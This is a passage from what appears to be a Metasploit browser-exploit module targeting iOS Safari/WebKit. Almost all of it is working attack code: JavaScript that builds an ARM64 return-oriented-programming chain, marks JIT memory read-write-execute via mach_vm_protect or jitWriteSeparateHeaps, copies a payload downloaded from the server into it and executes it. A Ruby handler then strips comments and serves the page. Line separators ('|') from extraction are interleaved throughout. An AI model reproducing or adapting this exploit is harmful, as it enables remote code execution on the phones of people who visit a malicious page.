var startOfFixedMem = offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];
|
|
|
|
var ldrx8 = offsets["ldrx8"]; // might be null
|
|
var movx4 = offsets["movx4"]; // might be null
|
|
|
|
var mach_task_self_ = new Int64(memory.readInt64(task_self).lo());
|
|
var memPoolEnd = memory.readInt64(endOfFixedMem);
|
|
|
|
var memPoolStart = Int64.Zero;
|
|
if (startOfFixedMem) {
|
|
memPoolStart = memory.readInt64(startOfFixedMem);
|
|
}
|
|
|
|
var jitWriteSeparateHeaps = Int64.Zero;
|
|
if (offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]) {
|
|
jitWriteSeparateHeaps = memory.readInt64(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]);
|
|
}
|
|
|
|
var shsz = new Int64("0x100000");
|
|
var paddr = memory.readInt64(Add(stage1.addrof(payload), 0x10));
|
|
var codeAddr = Sub(memPoolEnd, shsz);
|
|
codeAddr = Sub(codeAddr, codeAddr.lo() & 0x3fff);
|
|
|
|
memory.writeInt64(Add(vtab, 0x18), longjmp);
|
|
memory.writeInt64(Add(el_addr, 0x58), stackloader); // x30 (gadget)
|
|
|
|
var arrsz = 0x100000,
|
|
off = 0x1000;
|
|
var arr = new Uint32Array(arrsz);
|
|
var stack = memory.readInt64(Add(stage1.addrof(arr), 0x10));
|
|
|
|
var pos = arrsz - off;
|
|
|
|
var add_call_llvm = function(func, x0, x1, x2, x3, x4, jump_to) {
|
|
x4 = x4 || Int64.Zero
|
|
|
|
// in stackloader:
|
|
arr[pos++] = 0xdead0010; // unused
|
|
arr[pos++] = 0xdead0011; // unused
|
|
arr[pos++] = 0xdead0012; // unused
|
|
arr[pos++] = 0xdead0013; // unused
|
|
arr[pos++] = dispatch.lo(); // x28 (gadget for regloader)
|
|
arr[pos++] = dispatch.hi(); // x28 (gadget for regloader)
|
|
arr[pos++] = 0xdead0014; // x27 (unused)
|
|
arr[pos++] = 0xdead0015; // x27 (unused)
|
|
arr[pos++] = x4.lo(); // x26 == x4 (arg5)
|
|
arr[pos++] = x4.hi(); // x26 == x4 (arg5)
|
|
arr[pos++] = x3.lo(); // x25 == x3 (arg4)
|
|
arr[pos++] = x3.hi(); // x25 == x3 (arg4)
|
|
arr[pos++] = x2.lo(); // x24 == x2 (arg3)
|
|
arr[pos++] = x2.hi(); // x24 == x2 (arg3)
|
|
arr[pos++] = x0.lo(); // x23 == x0 (arg1)
|
|
arr[pos++] = x0.hi(); // x23 == x0 (arg1)
|
|
arr[pos++] = x1.lo(); // x22 == x1 (arg2)
|
|
arr[pos++] = x1.hi(); // x22 == x1 (arg2)
|
|
arr[pos++] = func.lo(); // x21 (func)
|
|
arr[pos++] = func.hi(); // x21 (func)
|
|
arr[pos++] = 0xdbad0018; // x20 (unused)
|
|
arr[pos++] = 0xdbad0019; // x20 (unused)
|
|
arr[pos++] = 0xdead001a; // x19 (unused)
|
|
arr[pos++] = 0xdead001b; // x19 (unused)
|
|
var tmppos = pos;
|
|
arr[pos++] = Add(stack, tmppos*4 + 0x40).lo(); // x29
|
|
arr[pos++] = Add(stack, tmppos*4 + 0x40).hi(); // x29
|
|
arr[pos++] = regloader.lo(); // x30 (first gadget)
|
|
arr[pos++] = regloader.hi(); // x30 (first gadget)
|
|
|
|
// after dispatch:
|
|
arr[pos++] = 0xdead0020; // unused
|
|
arr[pos++] = 0xdead0021; // unused
|
|
arr[pos++] = 0xdead0022; // unused
|
|
arr[pos++] = 0xdead0023; // unused
|
|
arr[pos++] = 0xdead0024; // x22 (unused)
|
|
arr[pos++] = 0xdead0025; // x22 (unused)
|
|
arr[pos++] = 0xdead0026; // x21 (unused)
|
|
arr[pos++] = 0xdead0027; // x21 (unused)
|
|
arr[pos++] = 0xdead0028; // x20 (unused)
|
|
arr[pos++] = 0xdead0029; // x20 (unused)
|
|
arr[pos++] = 0xdead002a; // x19 (unused)
|
|
arr[pos++] = 0xdead002b; // x19 (unused)
|
|
tmppos = pos;
|
|
arr[pos++] = Add(stack, tmppos*4 + 0x70).lo(); // x29
|
|
arr[pos++] = Add(stack, tmppos*4 + 0x70).hi(); // x29
|
|
arr[pos++] = jump_to.lo(); // x30 (gadget)
|
|
arr[pos++] = jump_to.hi(); // x30 (gadget)
|
|
}
|
|
|
|
var add_call_via_x8 = function(func, x0, x1, x2, x3, x4, jump_to) {
|
|
//alert(`add_call_via_x8: ${func}(${x0}, ${x1}, ${x2}, ${x3}, ${x4}, ${jump_to})`);
|
|
//x4 = x4 || Int64.One
|
|
// in stackloader:
|
|
arr[pos++] = 0xdead0010; // unused
|
|
arr[pos++] = 0xdead0011; // unused
|
|
arr[pos++] = 0xdead0012; // unused
|
|
arr[pos++] = 0xdead0013; // unused
|
|
arr[pos++] = 0xdead1101; // x28 (unused)
|
|
arr[pos++] = 0xdead1102; // x28 (unused)
|
|
arr[pos++] = 0xdead0014; // x27 == x6 (unused)
|
|
arr[pos++] = 0xdead0015; // x27 == x6 (unused)
|
|
arr[pos++] = 0xdead0016; // x26 (unused)
|
|
arr[pos++] = 0xdead0017; // x26 (unused)
|
|
arr[pos++] = x3.lo(); // x25 == x3 (arg4)
|
|
arr[pos++] = x3.hi(); // x25 == x3 (arg4)
|
|
arr[pos++] = x0.lo(); // x24 == x0 (arg1)
|
|
arr[pos++] = x0.hi(); // x24 == x0 (arg1)
|
|
arr[pos++] = x2.lo(); // x23 == x2 (arg3)
|
|
arr[pos++] = x2.hi(); // x23 == x2 (arg3)
|
|
arr[pos++] = x3.lo(); // x22 == x3 (arg4)
|
|
arr[pos++] = x3.hi(); // x22 == x3 (arg4)
|
|
arr[pos++] = func.lo(); // x21 (target for dispatch)
|
|
arr[pos++] = func.hi(); // x21 (target for dispatch)
|
|
arr[pos++] = 0xdead0018; // x20 (unused)
|
|
arr[pos++] = 0xdead0019; // x20 (unused)
|
|
var tmppos = pos;
|
|
arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])
|
|
arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])
|
|
arr[pos++] = 0xdead001c; // x29 (unused)
|
|
arr[pos++] = 0xdead001d; // x29 (unused)
|
|
arr[pos++] = ldrx8.lo(); // x30 (next gadget)
|
|
arr[pos++] = ldrx8.hi(); // x30 (next gadget)
|
|
|
|
// in ldrx8
|
|
if (x4) {
|
|
arr[pos++] = stackloader.lo();
|
|
arr[pos++] = stackloader.hi();
|
|
} else {
|
|
arr[pos++] = dispatch.lo(); // x8 (target for regloader)
|
|
arr[pos++] = dispatch.hi(); // x8 (target for regloader)
|
|
}
|
|
arr[pos++] = 0xdead1401; // (unused)
|
|
arr[pos++] = 0xdead1402; // (unused)
|
|
arr[pos++] = 0xdead1301; // x20 (unused)
|
|
arr[pos++] = 0xdead1302; // x20 (unused)
|
|
arr[pos++] = x1.lo(); // x19 == x1 (arg2)
|
|
arr[pos++] = x1.hi(); // x19 == x1 (arg2)
|
|
arr[pos++] = 0xdead1201; // x29 (unused)
|
|
arr[pos++] = 0xdead1202; // x29 (unused)
|
|
arr[pos++] = regloader.lo(); // x30 (next gadget)
|
|
arr[pos++] = regloader.hi(); // x30 (next gadget)
|
|
|
|
// in regloader
|
|
// NOTE: REGLOADER DOES NOT ADJUST SP!
|
|
// sometimes i didn't get expected value in x4
|
|
// and i have no earthly idea why
|
|
// usleep likely did the trick, but I would still keep the code
|
|
// with movx4
|
|
//arr[pos++] = x4.lo() // x4 (should be -- but see lines above)
|
|
//arr[pos++] = x4.hi() // x4 (should be -- but see lines above)
|
|
|
|
if (x4) {
|
|
// in stackloader:
|
|
arr[pos++] = 0xdaad0010; // unused
|
|
arr[pos++] = 0xdaad0011; // unused
|
|
arr[pos++] = 0xdaad0012; // unused
|
|
arr[pos++] = 0xdaad0013; // unused
|
|
arr[pos++] = 0xdaad1101; // x28 (unused)
|
|
arr[pos++] = 0xdaad1102; // x28 (unused)
|
|
arr[pos++] = 0xdaad0014; // x27 == x6 (unused)
|
|
arr[pos++] = 0xdaad0015; // x27 == x6 (unused)
|
|
arr[pos++] = 0xdaad0016; // x26 (unused)
|
|
arr[pos++] = 0xdaad0017; // x26 (unused)
|
|
arr[pos++] = 0xdaad0018; // x25 (unused)
|
|
arr[pos++] = 0xdaad0019; // x25 (unused)
|
|
arr[pos++] = 0xdaad00f0; // x24 (unused)
|
|
arr[pos++] = 0xdaad00f1; // x24 (unused)
|
|
arr[pos++] = 0xdaad00f2; // x23 (unused)
|
|
arr[pos++] = 0xdaad00f3; // x23 (unused)
|
|
arr[pos++] = 0xdaad00f4; // x22 (unused)
|
|
arr[pos++] = 0xdaad00f5; // x22 (unused)
|
|
arr[pos++] = func.lo(); // x21 (target for dispatch)
|
|
arr[pos++] = func.hi(); // x21 (target for dispatch)
|
|
arr[pos++] = 0xdaad0018; // x20 (unused)
|
|
arr[pos++] = 0xdaad0019; // x20 (unused)
|
|
tmppos = pos;
|
|
arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])
|
|
arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])
|
|
arr[pos++] = 0xdaad001c; // x29 (unused)
|
|
arr[pos++] = 0xdaad001d; // x29 (unused)
|
|
arr[pos++] = ldrx8.lo(); // x30 (next gadget)
|
|
arr[pos++] = ldrx8.hi(); // x30 (next gadget)
|
|
|
|
// in ldrx8
|
|
arr[pos++] = dispatch.lo(); // x8 (target for movx4)
|
|
arr[pos++] = dispatch.hi(); // x8 (target for movx4)
|
|
arr[pos++] = 0xdaad1401; // (unused)
|
|
arr[pos++] = 0xdaad1402; // (unused)
|
|
arr[pos++] = x4.lo(); // x20 == x4 (arg5)
|
|
arr[pos++] = x4.hi(); // x20 == x4 (arg5)
|
|
arr[pos++] = 0xdaad1301; // x19 (unused)
|
|
arr[pos++] = 0xdaad1302; // x19 (unused)
|
|
arr[pos++] = 0xdaad1201; // x29 (unused)
|
|
arr[pos++] = 0xdaad1202; // x29 (unused)
|
|
arr[pos++] = movx4.lo(); // x30 (next gadget)
|
|
arr[pos++] = movx4.hi(); // x30 (next gadget)
|
|
}
|
|
|
|
// after dispatch:
|
|
|
|
// keep only one: these or 0xdeaded01
|
|
arr[pos++] = 0xdead0022; // unused
|
|
arr[pos++] = 0xdead0023; // unused
|
|
|
|
arr[pos++] = 0xdead0022; // unused
|
|
arr[pos++] = 0xdead0023; // unused
|
|
arr[pos++] = 0xdead0024; // x22 (unused)
|
|
arr[pos++] = 0xdead0025; // x22 (unused)
|
|
arr[pos++] = 0xdead0026; // x21 (unused)
|
|
arr[pos++] = 0xdead0027; // x21 (unused)
|
|
arr[pos++] = 0xdead0028; // x20 (unused)
|
|
arr[pos++] = 0xdead0029; // x20 (unused)
|
|
arr[pos++] = 0xdead002a; // x19 (unused)
|
|
arr[pos++] = 0xdead002b; // x19 (unused)
|
|
arr[pos++] = 0xdead002c; // x29 (unused)
|
|
arr[pos++] = 0xdead002d; // x29 (unused)
|
|
arr[pos++] = jump_to.lo(); // x30 (gadget)
|
|
arr[pos++] = jump_to.hi(); // x30 (gadget)
|
|
}
|
|
|
|
var add_call = function(func, x0, x1, x2, x3, x4, jump_to) {
|
|
x0 = x0 || Int64.Zero
|
|
x1 = x1 || Int64.Zero
|
|
x2 = x2 || Int64.Zero
|
|
x3 = x3 || Int64.Zero
|
|
jump_to = jump_to || stackloader
|
|
|
|
return (ldrx8 ? add_call_via_x8 : add_call_llvm)(
|
|
func, x0, x1, x2, x3, x4, jump_to
|
|
)
|
|
}
|
|
|
|
#{ios_11 ? '
|
|
if (jitWriteSeparateHeaps.lo() || jitWriteSeparateHeaps.hi()) {
|
|
add_call(jitWriteSeparateHeaps
|
|
, Sub(codeAddr, memPoolStart) // off
|
|
, paddr // src
|
|
, shsz // size
|
|
);
|
|
} else {
|
|
fail("jitWrite");
|
|
}
|
|
' : '
|
|
add_call(mach_vm_protect,
|
|
mach_task_self_, // task
|
|
codeAddr, // addr
|
|
shsz, // size
|
|
new Int64(0), // set maximum
|
|
new Int64(7) // prot (RWX)
|
|
);
|
|
|
|
add_call(memmove,
|
|
codeAddr, // dst
|
|
paddr, // src
|
|
shsz // size
|
|
);
|
|
'}
|
|
|
|
add_call(codeAddr,
|
|
dlopen,
|
|
dlsym,
|
|
jitWriteSeparateHeaps,
|
|
memPoolStart,
|
|
memPoolEnd,
|
|
);
|
|
|
|
for(var i = 0; i < 0x20; ++i)
|
|
{
|
|
arr[pos++] = 0xde00c0de + (i<<16);
|
|
}
|
|
|
|
var sp = Add(stack, (arrsz - off) * 4);
|
|
memory.writeInt64(Add(el_addr, 0x60), Add(sp, 0x60)); // x29
|
|
memory.writeInt64(Add(el_addr, 0x68), sp); // x2 (copied into sp)
|
|
|
|
// trigger
|
|
//print("u rdy?")
|
|
wrapper.addEventListener("click", function(){});
|
|
|
|
}
|
|
|
|
#{get_mem_rw}
|
|
|
|
function go() {
|
|
try {
|
|
var req = new XMLHttpRequest;
|
|
req.open("GET", "exploit");
|
|
req.responseType = "arraybuffer";
|
|
req.addEventListener("load", function() {
|
|
try {
|
|
if (req.responseType != "arraybuffer") throw "y u no blob";
|
|
payload.set(new Uint8Array(req.response), 0x0);
|
|
pwn();
|
|
} catch (e) {
|
|
fail("Error: " + e + (e != null ? " " + e.stack : ""))
|
|
}
|
|
});
|
|
req.addEventListener("error", function(ev) {
|
|
fail(ev)
|
|
});
|
|
req.send()
|
|
} catch (e) {
|
|
fail("Error: " + e + (e != null ? " " + e.stack : ""))
|
|
}
|
|
};
|
|
|
|
go();
|
|
|
|
</script>
|
|
</body>
|
|
</html>
|
|
^
|
|
unless datastore['DEBUG_EXPLOIT']
|
|
html.gsub!(/\/\/.*$/, '') # strip comments
|
|
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
|
end
|
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
|
|
end
|
|
|
|
end
|